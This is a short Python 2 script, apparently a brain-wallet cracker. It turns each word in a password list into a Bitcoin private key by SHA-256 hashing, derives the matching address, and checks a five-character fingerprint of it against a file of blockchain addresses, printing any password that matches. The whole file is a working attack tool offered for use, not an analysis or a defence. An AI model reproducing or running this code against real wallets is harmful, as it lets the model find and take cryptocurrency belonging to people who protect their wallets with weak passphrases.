brain.py

import ecdsa
import binascii
import hashlib

BlockChain     = []
BlockchainFile = 'TXaddress.txt'
PasswordList   = 'passwords.txt'
secp256k1curve=ecdsa.ellipticcurve.CurveFp(115792089237316195423570985008687907853269984665640564039457584007908834671663,0,7)
secp256k1point=ecdsa.ellipticcurve.Point(secp256k1curve,0x79BE667EF9DCBBAC55A06295CE870B07029BFCDB2DCE28D959F2815B16F81798,0x483ADA7726A3C4655DA4FBFC0E1108A8FD17B448A68554199C47D08FFB10D4B8,0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141)
secp256k1=ecdsa.curves.Curve('secp256k1',secp256k1curve,secp256k1point,(1,3,132,0,10))

def addy(pk):
 pko=ecdsa.SigningKey.from_secret_exponent(pk,secp256k1)
 pubkey=binascii.hexlify(pko.get_verifying_key().to_string())
 pubkey2=hashlib.sha256(binascii.unhexlify('04'+pubkey)).hexdigest()
 pubkey3=hashlib.new('ripemd160',binascii.unhexlify(pubkey2)).hexdigest()
 pubkey4=hashlib.sha256(binascii.unhexlify('00'+pubkey3)).hexdigest()
 pubkey5=hashlib.sha256(binascii.unhexlify(pubkey4)).hexdigest()
 pubkey6=pubkey3+pubkey5[:8]
 pubnum=int(pubkey6,16)
 pubnumlist=[]
 while pubnum!=0: pubnumlist.append(pubnum%58); pubnum/=58
 address=''
 for l in ['123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'[x] for x in pubnumlist]:
  address=l+address
 return '1'+address


def Crack(word):
    privatekey = (int(hashlib.sha256(word).hexdigest(),16))
    privatekeysha = (hashlib.sha256(word)).hexdigest()
    bcaddy = addy(privatekey)



    return bcaddy

def LoadTXaddresses(BlockchainFile):
    # Load 4 bytes of each wallet address from the blockchain into RAM
    BlockChain = [line.rstrip('\n') for line in open(BlockchainFile)]
    return BlockChain

def Check(WalletAddress):
    CompressedAddress = WalletAddress[1] + WalletAddress[4] + WalletAddress[10] + WalletAddress[20] + WalletAddress[len(WalletAddress) -1]

    for x in range (len(BlockChain) -1):
        if(BlockChain[x] == CompressedAddress):
          return True

def CompressBlockchain(blockchainFile):
    # Read all the TX or RX addresses from a flat text file line by line
    # Store only 4-5 bytes
    with open(blockchainFile) as f:
         for line in f:
             print line[1] + line[4] + line[10] + line[20] + line[len(line) -2]

#CompressBlockchain('SampleTX-List.txt')

BlockChain = LoadTXaddresses(BlockchainFile)


def Scan(PasswordList):
    with open(PasswordList) as f:
         for line in f:
             thisAddress = Crack(line.strip())
             if(Check(thisAddress) == True):
               print line

Scan(PasswordList)